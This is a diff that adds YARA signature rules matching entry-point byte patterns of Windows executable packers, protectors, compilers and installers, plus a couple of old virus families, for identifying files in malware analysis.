+	}
+	
+	
+	rule PseudoSigner01PEIntro10Anorganix
+	{
+	strings:
+			$a0 = { 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv099SpecialBuildheXerforgot
+	{
+	strings:
+			$a0 = { E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 }
+	$a1 = { E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule VxBackfont900
+	{
+	strings:
+			$a0 = { E8 ?? ?? B4 30 CD 21 3C 03 ?? ?? B8 ?? ?? BA ?? ?? CD 21 81 FA ?? ?? ?? ?? BA ?? ?? 8C C0 48 8E C0 8E D8 80 ?? ?? ?? 5A ?? ?? 03 ?? ?? ?? 40 8E D8 80 ?? ?? ?? 5A ?? ?? 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CrunchPEv20xx
+	{
+	strings:
+			$a0 = { 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Litev003a
+	{
+	strings:
+			$a0 = { 60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePack1XMethod2bagie
+	{
+	strings:
+			$a0 = { 4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+/*    
+	rule PKLITE3211PKWAREInc
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? 00 68 ?? ?? ?? 00 68 00 00 00 00 E8 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+*/
+	rule PEncryptv10
+	{
+	strings:
+			$a0 = { 60 9C BE 00 10 40 00 8B FE B9 28 03 00 00 BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BJFntv12RC
+	{
+	strings:
+			$a0 = { EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FishPEShield112116HellFish
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B }
+	$a1 = { 60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule CodeCryptv016bv0163b
+	{
+	strings:
+			$a0 = { E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VOBProtectCD
+	{
+	strings:
+			$a0 = { 5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule diProtectorV1XdiProtectorSoftware
+	{
+	strings:
+			$a0 = { 01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivateexeProtector20SetiSoftTeam
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule AHTeamEPProtector03fakekkryptor9kryptoraFEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 60 E8 ?? ?? ?? ?? 5E B9 00 00 00 00 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEBundlev310
+	{
+	strings:
+			$a0 = { 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule NsPack34NorthStar
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF 80 38 01 0F 84 42 02 00 00 C6 00 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC280290EXEX86CRTLIB
+	{
+	strings:
+			$a0 = { 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackV115V117Dllap0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC28x45xPelleOrinius
+	{
+	strings:
+			$a0 = { 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstallv2460Jitit
+	{
+	strings:
+			$a0 = { 55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110Engdulekxt
+	{
+	strings:
+			$a0 = { BB D0 01 40 ?? BF ?? 10 40 ?? BE }
+	$a1 = { E8 01 00 00 00 ?? ?? E8 ?? 00 00 00 }
+	$a2 = { EB 01 ?? EB 02 ?? ?? ?? 80 ?? ?? 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv2xx
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ASPackv10802AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo440SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8 }
+
+	condition:
+			$a0
+	}
+	rule Armadillov1xxv2xx
+	{
+	strings:
+			$a0 = { 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HACKSTOPv111c
+	{
+	strings:
+			$a0 = { B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealth276UnregisteredWebtoolMaster
+	{
+	strings:
+			$a0 = { EB ?? 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 53 68 61 72 65 77 61 72 65 20 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner02LCCWin32DLLAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CDSSSv10Beta1CyberDoomTeamX
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule tElockv041x
+	{
+	strings:
+			$a0 = { 66 8B C0 8D 24 24 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 50 8B FE 68 78 01 ?? ?? 59 EB 01 EB AC 54 E8 03 ?? ?? ?? 5C EB 08 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ZCodeWin32PEProtectorv101
+	{
+	strings:
+			$a0 = { E9 12 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 FB FF FF FF C3 68 ?? ?? ?? ?? 64 FF 35 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ABCCryptor10byZloY
+	{
+	strings:
+			$a0 = { 68 FF 64 24 F0 68 58 58 58 58 90 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BF 00 ?? ?? ?? B9 00 ?? ?? ?? 80 37 ?? 47 39 CF 75 F8 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule FSGv120EngdulekxtMicrosoftVisualC60
+	{
+	strings:
+			$a0 = { C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SLVc0deProtectorv061SLV
+	{
+	strings:
+			$a0 = { EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 }
+	$a1 = { EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 9D 11 40 00 8D 95 B4 11 40 00 E8 CB 2E 00 00 33 C0 F7 F0 69 8D B5 05 12 40 00 B9 5D 2E 00 00 8B FE AC }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule FSG131dulekxt
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackFullEdition117aPLibAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 74 1F 00 00 8D 9D 1E 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Crypter31SLESH
+	{
+	strings:
+			$a0 = { 68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PseudoSigner01VBOX43MTEAnorganix
+	{
+	strings:
+			$a0 = { 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeBJFNT13emadicius
+	{
+	strings:
+			$a0 = { EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FreeCryptor02build002GlOFF
+	{
+	strings:
+			$a0 = { 33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PackItBitchV10archphase
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule nPackv11250BetaNEOx
+	{
+	strings:
+			$a0 = { 83 3D 04 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 2E ?? ?? ?? 2B 05 08 ?? ?? ?? A3 00 ?? ?? ?? E8 9C 00 00 00 E8 04 02 00 00 E8 FB 06 00 00 E8 1B 06 00 00 A1 00 ?? ?? ?? C7 05 04 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnpackedBSSFXArchivev19
+	{
+	strings:
+			$a0 = { 1E 33 C0 50 B8 ?? ?? 8E D8 FA 8E D0 BC ?? ?? FB B8 ?? ?? CD 21 3C 03 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01VideoLanClientAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01PECompact14Anorganix
+	{
+	strings:
+			$a0 = { 90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PseudoSigner01DxPack10Anorganix
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Splice11byTw1stedL0gic
+	{
+	strings:
+			$a0 = { 68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv140v145
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillo300aSiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv20b4
+	{
+	strings:
+			$a0 = { 83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 }
+	$a1 = { 83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 }
+
+	condition:
+			$a0 or $a1
+	}
+	
+	
+	rule PESHiELDv01bMTE
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BeRoEXEPackerV100BeRo
+	{
+	strings:
+			$a0 = { BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3 }
+
+	condition:
+			$a0
+	}
+	rule MSLRHv32aemadicius
+	{
+	strings:
+			$a0 = { EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SpecialEXEPaswordProtectorv101EngPavolCerven
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv166
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv167
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VIRUSIWormHybris
+	{
+	strings:
+			$a0 = { EB 16 A8 54 ?? ?? 47 41 42 4C 4B 43 47 43 ?? ?? ?? ?? ?? ?? 52 49 53 ?? FC 68 4C 70 40 ?? FF 15 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule GPInstallv50332
+	{
+	strings:
+			$a0 = { 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0 }
+
+	condition:
+			$a0
+	}
+	
+	
